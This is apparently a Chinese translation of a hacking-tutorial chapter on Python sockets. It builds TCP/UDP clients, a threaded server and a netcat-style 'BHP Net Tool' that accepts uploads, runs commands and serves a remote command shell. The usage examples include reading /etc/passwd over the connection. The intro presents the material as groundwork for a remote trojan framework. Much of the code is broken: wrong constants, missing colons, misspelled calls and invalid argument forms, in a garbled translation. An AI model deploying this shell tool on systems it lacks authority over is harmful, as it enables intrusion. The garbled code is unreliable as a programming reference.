网络是对于骇客来讲像一个充满诱惑力的竞技场。一个hacker可以做任何事物在简单的网络接入中。例如:扫描主机,注入数据,嗅探数据等等。 本章将要讲述一个基本的网络知识python网络工作用socket。我们将要建立客户端、服务器和tcp代理。并运用到我们自己的电脑,编译他们。本章是对后续章节的一个基础。我们自己建立一个host discovery tool,实现一个跨平台的探测器,并且创建一个远程木马框架。
我们可以用python来创建一个服务器和客户端,而这个核心模块是socket,该模块使我们快速开发一个tcp或udp的客户端和服务器,运用原始套接字。我们现在将要创建简单的客户端和服务器,我们将要写两个网络工作脚本。用tcp客户端来测试服务器,发送数据包。
TCP客户端:
import socket
target_host = tuple("www.baidu.com")
target_port = 80
#create the socket object
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#connect the client
client.connect(target_host,target_port)
#send some data
client.send("Get / HTTP/1.1\r\nHost:baidu.com\r\n\r\n")
#receive some data
response = client.recv(4096)
print (response)
我们将要开始创建一个AF_INET对象和SOCK_STREAM参数。这个AF_INET参数说明我们将要使用IPv4标准的地址或者主机名,而SOCK_STREAM这是一个TCP客户端,之后我们连接客户端和服务器并且发送一些数据,最后一步是接受一些数据并且打印出来。这是一个简单的TCP客户端形式。但是这是最常写的一种。
在上面的代码段中,我们做一些思考。首先,假设我们的连接总是成功的。第二点,服务器总是期望我们发送数据(相对于服务器期望把数据发送给你,并且等待你的回复)。第三个假设,服务器总是即时回馈数据给我们。做这些假设大多数都是为了简单的原因。程序员有不同的方式来处理阻塞套接字以及套接字异常。对于这些异常的问题,处理方式并不多见。我们将会逐渐探索。
UDP客户端:
import socket
target_host = tuple("127.0.0.1")
target_port = 80
#buffer = ('AABBCC')
#create the socket object
client = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
#send some data
client.sendto(“AABBCC”,(target_host,target_port))
#receive data
data,addr = client.recvfrom(4096)
print (data)
如上代码,我们改变了SOCK的类型当创建SOCKET对象的时候。下一步将要调用sendto,发送你想要发送的数据。因为UDP是一个无连接控制,在这里并不需要调用connect()。最好一步是调用recvfrom().来接受UDP的返回数据以及远程端口和主机。
接下来,我们看下高级网络编程者,我们想要更快,更容易处理我们每日的Hacker任务。接下来我们创建一个服务器吧。
TCP 服务器:
import socket
import threading
bind_ip = "0.0.0.0"
bind_port = 9999
server = socket.socket(socket.AF_INET,socket.AF_STREAM)
server.bind((bind_ip,bind_port))
server.listen(5)
print "[*]listen to %s:%d"%(bind_ip,bind_port)
#our client handle the thread
def handle_client(client_socket)
request = client_socket.recv(1024)
print "[*]receive the client%s"%request
#send some data packet
client_socket.send("ACK!")
client_socket.close()
while True
client ,addr = server.accept()
print "[*]Accept the connection from:%s:%d"&(addr[0],addr[1])
# spin up the client thread to handle incoming data
client_handler = threading.Thread(target=handle_client,arg=(client,))
client_handler.start()
我们通过IP地址和端口进行监听。接下来我们让服务器开始监听。我们让服务器开始循环,等待连入。当一个客户端连接,我们会接受这个客户端的变量,并且远程连接这个add。并且我们建立一个新的线程对象,来指向我们的handle_client功能,并且通过他将客户端socket作为一个参数,我们的线程将要处理来自客户端的连接。我们主线程继续循环来处理来自其他客户端的连接。这个handle_client功能表现在recv()并且然后发送一个简单的信息回馈给客户端。
这是非常简单并且很实用,我们将要继续下一部分当我们建立NetCat来取代TCP代理。
替代NetCat
NetCat像一把网络工具刀。所以精明的系统管理员将要从他们的系统中移除这些东西。在更多的场景中。我们并没有安装netcat在服务器中。在这些例子中,创建一个
netcat工作客户端和服务器,如果你要通过一个web应用,可以用它来推送文件,或者进行监听运用这个命令行。创造这个工具就像是python练习一样。让我们现在开始。
在这里我们要调用库,并且定义几个全局变量。现在让我们创造主要的参数来处理命令行参数并且调用我们余下的功能。
import sys
import socket
import getopt
import threading
import subprocess
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = 0
port = 0
def usage():
print "BHP Net Tool"
print
print "Usage: bhpnet.py -t target_host -p port"
print "-l --listen - listen on [host]:[port] for
incoming connections"
print "-e --execute=file_to_run - execute the given file upon
receiving a connection"
print "-c --command - initialize a command shell"
print "-u --upload=destination - upon receiving connection upload a
file and write to [destination]"
print
print
print "Examples: "
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
print "echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135"
sys.exit(0)
def main():
global listen
global command
global upload
global execute
global target
global upload_destination
global port
if not len(sys.argv[1:]):
usage()
# read the commandline options
try:
opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",
["help","listen","execute","target","port","command","upload"])
except getopt.GetoptError as err:
print str(err)
usage()
for o,a in opts:
if o in ("-h","--help"):
usage()
elif o in ("-l","--listen"):
listen = True
elif o in ("-e", "--execute"):
execute = a
elif o in ("-c", "--commandshell"):
command = True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
else:
assert False,"Unhandled Option"
# are we going to listen or just send data from stdin?
if not listen and len(target) and port > 0:
# read in the buffer from the commandline
# this will block, so send CTRL-D if not sending input
# to stdin
buffer = sys.stdin.read()
# send data off
client_sender(buffer)
# we are going to listen and potentially
# upload things, execute commands, and drop a shell back
# depending on our command line options above
if listen:
server_loop()
main()
我们将要开始读这些命令行,并且设置这个必要的变量来依赖他们。如果命令行变量不能匹配我们的标准。我们将要打印这些信息。在这些代码块中我们尝试模仿netcat来读一些数据来自stdin并且将他将他发送到网络。如果你计划发送这些交互数据。我们将要设置监听socket。使文件进行加载、执行命令,并且开始命令脚本。
def client_sender(buffer)
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
client.connect((target,port))
if(len(buffer))
client.send(buffer)
while True:
recv_len = 1
response = ""
while recv_len:
data = client.receive(4096)
recv_len = lent(data)
response += data
if recv_len<4096
break
print response
buffer = raw_input()
buffer +="\n"
client.send(buffer)
except:
print "[*]Exception Exit"
client.close()
这些代码看起来很熟悉。我们将要设置我们的TCP套接字对象并且我们接受一些输入来测试他们,如果这些都没问题,我们将要发送并且接受来自于远程端的数据,知道全部传送完毕。我们继续等待来自用户的输出并且继续发送和接收数据,直到用户杀死脚本。我们的客户端将要适应我们的命令脚本。现在让我们创造首个服务循环。这个存根函数将要处理我们的命令执行。
def server_loop():
global target
#if no target is defined,we listen on all interfaces
if no len(target):
target = "0.0.0.0"
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind(target,port)
server.listen(5)
while True
client_socket,addr = server.accpet()
client_thread = threading.Thread(target = client_handler,args = (client_socket,))
client_thread.start()
def run_command(command):
# trim the newline
command = command.rstrip()
# run the command and get the output back
try:
output = subprocess.check_output(command,stderr=subprocess.
STDOUT, shell=True)
except:
output = "Failed to execute command.\r\n"
# send the output back to the client
return output
现在,你将要处理这个TCP服务器来完成这个线程,所以并不要用这个server_loop功能。这个run_command功能,然而,包括一个新的库并且不会覆盖子流程库.子流程库提供这个
程序借口给你一个数字方式来开始或者接触这个客户端程序,在这个例子中。我们要简单用作他。用他在当地的操作系统中,并且返回这个输出来自命令返回这个客户端来链接
到我们。这个异常处理代码将要捕捉一个总体错误并且返回一个消息让你知道命令有失败。
def client_handler(client_socket)
global upload
global execute
global command
if len(upload_destination):
file_buffer = ""
while true:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer +=data
try:
file_descriptor = open(upload_destination,"wb")
file_descriptor = write(file_buffer)
file_descriptor.close()
client_socket.send("success..........")
except:
client_socket.send("failure..........")
if len(execute)
output = run_command(execute)
client_socket.send(output)
if command:
while True:
client_socket.send("<BHP:#>")
# now we receive until we see a linefeed
(enter key)
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
# send back the command output
response = run_command(cmd_buffer)
# send back the response
client_socket.send(response)